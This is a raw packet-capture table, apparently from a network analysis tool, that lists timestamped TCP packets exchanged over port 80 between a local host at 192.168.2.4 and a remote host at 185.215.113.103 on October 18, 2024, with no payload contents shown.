Oct 18, 2024 15:04:27.701734066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701749086 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701750040 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.701750040 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.701761007 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701782942 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701787949 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.701797009 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.701807976 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.701824903 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.701860905 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702270985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702284098 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702294111 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702306986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702318907 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702331066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702333927 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702333927 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702347994 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702368975 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702372074 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702372074 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702382088 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702394009 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702397108 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702405930 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702413082 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702419043 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702431917 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702431917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702446938 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702460051 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702462912 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702476978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702481985 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702487946 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.702501059 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.702528954 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703308105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703320026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703331947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703342915 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703355074 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703365088 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703365088 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703377008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703394890 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703404903 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703409910 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703422070 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703424931 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703437090 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703445911 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703448057 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703459978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703464031 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703470945 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703481913 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703493118 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703494072 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703505993 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703519106 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.703521967 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703521967 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703557968 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.703582048 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.704252005 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704263926 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704273939 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704286098 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704293966 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704308033 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.704313993 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704328060 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704329014 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.704339981 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704346895 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.704353094 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704365969 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704369068 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.704376936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704389095 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704399109 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.704400063 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704412937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704418898 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.704423904 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704437971 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704440117 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.704448938 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.704473019 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.704493046 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.705174923 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705187082 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705198050 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705212116 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705223083 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705235004 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705235004 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.705248117 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705256939 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.705260992 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705274105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705277920 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.705286026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705296993 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.705298901 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705312014 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705317974 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.705322981 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705337048 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705338955 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.705348969 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.705359936 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.705378056 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.705394983 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706111908 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706123114 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706134081 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706146002 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706156015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706161022 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706170082 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706182957 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706183910 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706196070 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706212997 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706212044 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706212997 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706224918 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706234932 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706237078 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706248045 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706259966 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706271887 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706285000 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706285954 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706285954 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706295967 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.706307888 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706330061 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.706362009 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707042933 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707055092 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707065105 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707077026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707088947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707098961 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707099915 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707110882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707120895 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707123995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707137108 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707145929 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707148075 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707160950 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707165956 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707171917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707184076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707185984 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707195044 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707206964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707207918 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707217932 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707231045 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707242966 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707263947 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707283020 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707884073 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707896948 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707907915 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707921028 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707931995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707931995 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707946062 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707954884 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707958937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.707978964 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.707997084 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708355904 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708367109 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708374977 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708388090 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708399057 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708410025 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708410978 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708420992 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708439112 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708445072 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708445072 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708455086 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708466053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708467007 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708478928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708483934 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708492041 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708503962 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708504915 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708515882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708525896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708535910 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708537102 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708547115 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708558083 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708563089 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708563089 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708570004 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708581924 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.708592892 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.708626032 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815066099 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815078974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815090895 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815159082 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815258980 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815397978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815418005 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815432072 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815443039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815457106 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815459013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815471888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815480947 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815485954 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815499067 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815500021 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815522909 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815550089 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815726995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815737963 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815748930 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815761089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815772057 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.815784931 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815817118 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.815817118 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816009998 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816021919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816034079 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816075087 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816108942 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816178083 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816190004 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816200972 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816214085 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816225052 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816231966 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816241980 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816253901 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816255093 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816267967 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816279888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816284895 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816303015 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816319942 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816682100 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816734076 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816924095 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816936016 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816946983 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816957951 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816970110 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816981077 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.816984892 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.816993952 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817007065 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817009926 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817018986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817028999 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817030907 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817044020 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817049026 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817056894 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817068100 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817080975 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817085028 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817092896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817106962 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817118883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817121029 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817142963 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817162991 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817189932 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817766905 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817780018 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817790031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817800999 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817811966 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817816019 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817823887 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817837000 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817836046 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817848921 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817859888 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817872047 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817879915 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817879915 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817883015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817900896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817905903 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817913055 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817924976 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817929983 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817938089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817951918 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817962885 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.817965031 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.817986012 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.818006992 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.818610907 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818623066 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818636894 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818649054 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818662882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818674088 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818679094 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.818686962 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818700075 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818701982 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.818711996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818721056 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.818732023 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818743944 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818756104 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818758011 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.818768978 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818782091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.818784952 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.818804979 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.818830967 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.819510937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.819521904 CEST	80	49884	185.215.113.103	192.168.2.4
